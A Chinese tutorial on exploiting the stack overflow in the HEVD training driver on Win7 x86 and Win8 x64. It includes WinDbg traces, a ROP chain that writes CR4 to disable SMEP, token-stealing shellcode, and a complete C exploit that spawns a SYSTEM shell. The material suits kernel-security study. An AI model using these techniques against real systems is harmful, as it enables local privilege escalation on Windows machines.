Windows内核栈溢出从win7 x86 到win8 x64

 

一、环境准备

Win 10 64位 主机  +  win 7  32位虚拟机

Win 10 64位 主机  +  win 8  64位虚拟机

Windbg:调试器

VirtualKD-3.0:双击调试工具

InstDrv:驱动安装,运行工具

HEVD:一个Windows内核漏洞训练项目,里面几乎涵盖了内核可能存在的所有漏洞类型,非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等

 

二、win7 x86 环境

win7 x86下比较简单,这里简单过一下

先看下代码:

#define BUFFER_SIZE 512

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {

    NTSTATUS Status = STATUS_SUCCESS;

    ULONG KernelBuffer[BUFFER_SIZE] = {0};



    PAGED_CODE();



    __try {

        // Verify if the buffer resides in user mode

        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));



        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);

      ……

#ifdef SECURE

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));

#else

        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

#endif

    }

    __except (EXCEPTION_EXECUTE_HANDLER) {

        Status = GetExceptionCode();

        DbgPrint("[-] Exception Code: 0x%X\n", Status);

    }



    return Status;

}

 

代码很简单,问题就出在这句上

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

KernelBuffer是函数内的变量,内容存放在栈上, 大小固定为512字节, UserBuffer 和Size是用户从ring3层传入得值,大小可人为控制,当传入得 UserBuffer 和Size过大时,就会超过KernelBuffer的空间,覆盖到函数返回地址。

实际跟踪调试可知,从KernelBuffer起始开始覆盖数据, 偏移2080自节后开始覆盖 返回地址。

#define JUNK_SIZE       2080

#define TOAL_SIZE       2080 + 4

     char payload[TOAL_SIZE] = { 0 };



     char junk_pay[JUNK_SIZE] = { 'A' };

     char ret_addr[5] = { 0 };



     memset(junk_pay, 'A', JUNK_SIZE);

     memset(ret_addr, 'B', 5);



     memcpy(payload, junk_pay, JUNK_SIZE);

     memcpy(payload + JUNK_SIZE, ret_addr, 4);

     //*((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;



     RtlCopyMemory(uBuffer, payload, TOAL_SIZE);





     DWORD bytesRet;

     BOOL bof = DeviceIoControl(device,          /* handler for open driver */

         STACK_IOCTL,     /* IOCTL for the stack overflow */

         uBuffer,         /* our user buffer with shellcode/retAddr */

         TOAL_SIZE,

         NULL,            /* no buffer for the driver to write back to */

         0,               /* above buffer of size 0 */

         &bytesRet,       /* dump variable for byte returned */

         NULL);           /* ignore overlap */

 

测试程序,覆盖2080个A, 后面紧接着用B覆盖返回地址。

Windbg下断点 bp HEVD!TriggerStackOverflow

运行程序,调试观察。程序停在TriggerStackOverflow函数入口处, 返回地址为96b3e980

P 运行程序,当执行RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);后,函数的返回地址被覆盖, 42424242 也就是BBBB。

剩下的就简单了,我们只需要将BBBB替换成shellcode的地址就行了。部分代码如下:

    // Set the DeleteProcedure to the address of our payload

    int shellcode_len = sizeof(shellcode);

    char *pShellcodeBuf = (char*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);



    printf("ShellcodeBuf :%x\n", pShellcodeBuf);



    char payload[TOAL_SIZE] = { 0 };



    char junk_pay[JUNK_SIZE] = { 'A' };

    char ret_addr[5] = { 0 };



    memset(junk_pay, 'A', JUNK_SIZE);

    memset(ret_addr, 'B', 5);



    memcpy(payload, junk_pay, JUNK_SIZE);

    *((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;

    RtlCopyMemory(uBuffer, payload, TOAL_SIZE);

 

运行结果如下:

 

三、Win8 x64环境

在Windows 8及更高版本上已经部署了一种新的缓解措施,可以阻止使用这种方法exploit。管理模式执行保护(Superior Mode Execution Prevention)基本上是ring0版的DEP。它防止CPU以比当前更低的权限级别(或更高的ring级别)执行指令。换句话说,当在内核模式中运行时,处理器将不会执行映射到用户空间内存中的指令。

1、遇到的坑

在介绍SMEP绕过之前,我先讲下我遇到的坑。第一要确定自己的cpu是否支持SMEP。

一开始在win8.x x64上测试SMEP时,我没有使用绕过技术,但是shellcode一直能正常执行,让我很是纳闷,作为小白不知如何是好,后来经过多方查找资料,才知道时cpu的问题(谁让咱穷呢)。

换了台机器后,再测试,发现还是没有smep保护,不知道啥原因,重新装了win10x64的虚拟机,发现支持smep了,猜测可能自己下的win8的系统有问题,于是又下了个更新的win8,发现支持smep了,终于可以开心的研究技术了。

如何判断我们的系统是否开启smep呢。 Windows提供了一款工具coreinfo.exe

不支持smep(是-):

支持smep(是*):

2、smep技术介绍

smep是一种内核保护机制,由cr4寄存器的smep位控制,该位为1时,保护开启,该位为0时保护关闭。

既然是寄存器控制保护的开启与关闭,是不是很像ring3层的dep,我们就可以通过控制cr4寄存器的值来关闭该保护机制。

我们实际跟踪下看下smep是什么情况。在我们构造shellcode覆盖堆栈后,执行到RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size)后,在TriggerStackOverflow()返回前,我们看下cr4的值。

kd> r cr4

cr4=00000000001506f8

第20位smep标识为1, 保护机制开启,如果在继续执行,系统就会蓝屏。

3、Smep绕过

我们如何绕过,类似dep,我们在执行shellcode之前,先修改cr4将其smep位写0。这就需要rop技术。

首先我们需要在内核中找到mov cr4, xxx; ret之类的的代码。

我们将ntoskrnl.exe用ida打开。搜索 mov cr4

结果为mov cr4,rcx; retn。

我们还需要一条控制rcx值的语句(pop rcx)

同样搜索pop rcx

这两条语句在ntoskrnl.exe中的偏移分别为8655A,7db64

Windbg中查看对应位置,正是我们需要的。

kd> dd nt

fffff801`7621c000  00905a4d 00000003 00000004 0000ffff

fffff801`7621c010  000000b8 00000000 00000040 00000000

gadgets1:

kd> u nt+7db64

nt!KeRemoveQueueDpcEx+0xac:

fffff801`76299b64 59              pop     rcx

fffff801`76299b65 c3              ret

gadgets2:

kd> u nt+8655A

nt!KiFlushCurrentTbWorker+0x12:

fffff801`762a255a 0f22e1          mov     cr4,rcx

fffff801`762a255d c3              ret

之前win7的时候,我们返回地址直接覆盖的是shellcode地址, 到了win8 x64这里我们将其覆盖为gadgets1的地址。

构造栈数据如下:

我们简单跟踪下:

在我们执行完RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size)后,

栈上的返回地址已经被覆盖,值为fffff802cb2f6b64

Bp fffff802cb2f6b64下断点

此时cr4的值已经改变

kd> r cr4

cr4=00000000000406f8

 

再单步执行就进入我们的shellcode中。

4、有关shellcode构造调试:

我首先网上随便找了个shellcode

mov rax, gs:[188h]    ;Kprcb.Kpthread

mov rax, [rax+220h]    ;process

mov    rcx, rax    ; keep copy value

mov    rdx, 4        ; system PID

findSystemPid:

    mov    rax, [rax+2e8h]    ; ActiveProcessLinks : _LIST_ENTRY

    sub    rax, 2e8h

    cmp    [rax+2e0h], rdx

    jnz findSystemPid

    ; 替换Token

    mov rdx, [rax+348h]    ; get system token

    mov [rcx+348h], rdx    ; copy

ret

 

当然我在实际用的时候,直接蓝屏了。

下面我们就通过调试将这个shellcode,改造成可用的。

通过跟踪你会知道,这shellcode之所以会蓝屏,是堆栈不平衡问题,由于函数没有正常返回,导致shellcode执行完,直接飞了。

我们回归程序,shellcode所在的函数上层函数是StackOverflowIoctlHandler()

函数在返回前,执行了add rsp, 28h。

所以我们要堆栈平衡,也需要rsp增加,加多少呢,总共要加28h

但是我们已经先执行了rop链, pop rcx, ret, ret 已经使rsp增加了3*8=24=18h

所以我们还需要增加28h-18h=10h

我们修改下shellcode

mov rax, gs:[188h]    ;Kprcb.Kpthread

mov rax, [rax+220h]    ;process

mov    rcx, rax    ; keep copy value

mov    rdx, 4        ; system PID

findSystemPid:

    mov    rax, [rax+2e8h]    ; ActiveProcessLinks : _LIST_ENTRY

    sub    rax, 2e8h

    cmp    [rax+2e0h], rdx

    jnz findSystemPid

    ; 替换Token

    mov rdx, [rax+348h]    ; get system token

    mov [rcx+348h], rdx    ; copy

    ;根据实际环境调整

    add     rsp,10h

ret

 

我们再次运行,发现shellcode可以正常执行完毕,但是系统还是蓝屏了。What???

再次跟踪,寻找原因,定位到异常原因

rbx的值指向irp,此时其值为

kd> r rbx

rbx=00000000000406f8

 

所以执行到这里会蓝屏,我们需要在shellcode中恢复irp的值,保证后续能够正常执行。

下断点

bp HEVD!IrpDeviceIoCtlHandler

bp HEVD!TriggerStackOverflow

 

irp从函数IrpDeviceIoCtlHandler传入,程序进入该函数时,查看堆栈

kd> dd rsp

ffffd001`7e679778  cb663c0f fffff802 00000000 00000000

ffffd001`7e679788  7e679a80 ffffd001 f0840ee0 ffffe000

 

f0840ee0 ffffe000值对应的就是irp的值,地址为ffffd001`7e679790

程序进入shellcode时,我们在看下rsp的值为ffffd001`7e679738

kd> dd rsp

ffffd001`7e679738  7e679a01 ffffd001 00222003 00000000

ffffd001`7e679748  19827335 fffff800 198287a0 fffff800



ffffd001`7e679790- ffffd001`7e679738=58h

 

即irp在rsp上方偏移58h处(也没有被覆盖)

由于irp的存在rbx中,所以需要执行mov rbx, [rsp+58h]来恢复irp。

最后shellcode为

;for  win8  x64

.code

shellCode proc

; shellcode

mov rax, gs:[188h]    ;Kprcb.Kpthread

mov rax, [rax+220h]    ;process

mov    rcx, rax    ; keep copy value

mov    rdx, 4        ; system PID



findSystemPid:

    mov    rax, [rax+2e8h]    ; ActiveProcessLinks : _LIST_ENTRY

    sub    rax, 2e8h

    cmp    [rax+2e0h], rdx

    jnz findSystemPid



    ; 替换Token

    mov rdx, [rax+348h]    ; get system token

    mov [rcx+348h], rdx    ; copy

    ;根据实际环境调整

   mov rbx, [rsp+58h]    ;restore IRP

   add     rsp,10h

    ;xor rax, rax  ;NTSTATUS Status = STATUS_SUCCESS

    ret

shellCode endp

end

 

(构造shellcode时,要根据具体情况调整代码)

结果如下:

附代码:(shellcode在shellCode.asm文件中):

 

#include <windows.h>

#include <winioctl.h>

#include <stdio.h>

#include <stdint.h>

#include "shellCode.h"



/*

HEVD Windows Driver Exploit for the Stack Buffer Overflow

*/

#ifdef _WIN64

    #define RETLEN 8

    #define JUNK_SIZE       2056

    #define TOAL_SIZE       JUNK_SIZE + 8*4

    //gadgets1(pop rcx  ret) + 406f8 + gadgets2(mov cr4,crx  ret) + shellcodeAddr

#else

    #define RETLEN 4

    #define JUNK_SIZE       2080

    #define TOAL_SIZE       2080 + 8

#endif



#define SHELLCODE_LEN   61

#define STACK_IOCTL     0x222003

#define DRIVER_PATH     "\\\\.\\HackSysExtremeVulnerableDriver"



//对应的函数名声明在shellCode文件中;

//win x64 不支持嵌入式汇编,需要单独存放;

extern "C" void shellCode();



typedef enum _SYSTEM_INFORMATION_CLASS {

    SystemBasicInformation = 0,

    SystemPerformanceInformation = 2,

    SystemTimeOfDayInformation = 3,

    SystemProcessInformation = 5,

    SystemProcessorPerformanceInformation = 8,

    SystemModuleInformation = 11,

    SystemInterruptInformation = 23,

    SystemExceptionInformation = 33,

    SystemRegistryQuotaInformation = 37,

    SystemLookasideInformation = 45

} SYSTEM_INFORMATION_CLASS;



typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {

    HANDLE Section;

    PVOID MappedBase;

    PVOID ImageBase;

    ULONG ImageSize;

    ULONG Flags;

    USHORT LoadOrderIndex;

    USHORT InitOrderIndex;

    USHORT LoadCount;

    USHORT OffsetToFileName;

    UCHAR FullPathName[256];

} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;



typedef struct _SYSTEM_MODULE_INFORMATION {

    ULONG NumberOfModules;

    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;



typedef struct _ROP {

    PUCHAR PopRcxRet;

    PUCHAR Cr4RegValue;

    PUCHAR MovCr4EcxRet;

} ROP, *PROP;



typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)(

    SYSTEM_INFORMATION_CLASS SystemInformationClass,

    PVOID SystemInformation,

    ULONG SystemInformationLength,

    PULONG ReturnLength

    );



__int64* GetKernelBase()

{

    DWORD len;

    PSYSTEM_MODULE_INFORMATION ModuleInfo;

    __int64 *kernelBase = NULL;



    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)

        GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");

    if (NtQuerySystemInformation == NULL) {

        return NULL;

    }



    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

    ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!ModuleInfo)

    {

        return NULL;

    }



    NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);



    kernelBase = (__int64*)ModuleInfo->Module[0].ImageBase;

    VirtualFree(ModuleInfo, 0, MEM_RELEASE);



    return kernelBase;

}



void main() {



    LPVOID uBuffer = VirtualAlloc(NULL,

        TOAL_SIZE,

        MEM_COMMIT | MEM_RESERVE,

        PAGE_EXECUTE_READWRITE);

    if (!uBuffer) {

        printf("Error allocating the user buffer\n");

        exit(1);

    }



    char payload[TOAL_SIZE] = { 0 };

    char junk_pay[JUNK_SIZE] = { 'A' };

    memset(junk_pay, 'A', JUNK_SIZE);

    memcpy(payload, junk_pay, JUNK_SIZE);



#ifdef _WIN64

    __int64 pKernelAddr = (__int64)GetKernelBase();

    printf("KernelAddr = %I64x\n", pKernelAddr);



    *((__int64*)((char*)payload + JUNK_SIZE)) = (__int64)(pKernelAddr + 0x7db64);   //pop rcx   ret

    *((__int64*)((char*)payload + JUNK_SIZE + 8)) = 0x406f8;

    *((__int64*)((char*)payload + JUNK_SIZE + 8 + 8)) = (__int64)(pKernelAddr + 0x8655A);    //mov cr4 rcx , ret

    *((__int64*)((char*)payload + JUNK_SIZE + 8 + 8 +8)) = (__int64)shellCode;

#else



    char shellcode[] =

        /* --- Setup --- */

        "\x60"                        // pushad

        "\x64\xA1\x24\x01\x00\x00"    // mov eax, fs:[KTHREAD_OFFSET]

        "\x8B\x40\x50"                // mov eax, [eax + EPROCESS_OFFSET]

        "\x89\xC1"                    // mov ecx, eax (Current _EPROCESS structure)

        "\x8B\x98\xF8\x00\x00\x00"    // mov ebx, [eax + TOKEN_OFFSET]

                                      /* --- Copy System token */

        "\xBA\x04\x00\x00\x00"        // mov edx, 4 (SYSTEM PID)

        "\x8B\x80\xB8\x00\x00\x00"    // mov eax, [eax + FLINK_OFFSET]

        "\x2D\xB8\x00\x00\x00"        // sub eax, FLINK_OFFSET

        "\x39\x90\xB4\x00\x00\x00"    // cmp [eax + PID_OFFSET], edx

        "\x75\xED"                    // jnz

        "\x8B\x90\xF8\x00\x00\x00"    // mov edx, [eax + TOKEN_OFFSET]

        "\x89\x91\xF8\x00\x00\x00"    // mov [ecx + TOKEN_OFFSET], edx

                                      /* --- Cleanup --- */

        "\x61"                        // popad

        "\x31\xC0"                    // NTSTATUS -> STATUS_SUCCESS

        "\x5D"                        // pop ebp

        "\xC2\x08\x00";               // ret 8



    // Set the DeleteProcedure to the address of our payload

    int shellcode_len = sizeof(shellcode);

    __int64 *pShellcodeBuf = (__int64*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);

    printf("ShellcodeBuf = %I64x\n", pShellcodeBuf);

   

    *((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;

#endif



    RtlCopyMemory(uBuffer, payload, TOAL_SIZE);



    HANDLE device = CreateFileA(DRIVER_PATH,

        GENERIC_READ | GENERIC_WRITE,

        0,

        NULL,

        OPEN_EXISTING,

        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,

        NULL);

    if (device == INVALID_HANDLE_VALUE) {

        printf("[!] Error opening the driver\n");

        exit(1);

    }



    DWORD bytesRet;

    BOOL bof = DeviceIoControl(device,          /* handler for open driver */

        STACK_IOCTL,     /* IOCTL for the stack overflow */

        uBuffer,         /* our user buffer with shellcode/retAddr */

        TOAL_SIZE,

        NULL,            /* no buffer for the driver to write back to */

        0,               /* above buffer of size 0 */

        //&bytesRet,       /* dump variable for byte returned */

        NULL,

        NULL);           /* ignore overlap */



                         /* check if the device IO sent fine! */

    if (!bof) {

        printf("[!] Error with DeviceIoControl: %d\n", GetLastError());

        //exit(1);

    }

    else {

        printf("[*] Success!! Enjoy your shell!\n");

    }



    /* pop a shell! */

    system("cmd.exe");

}
(完)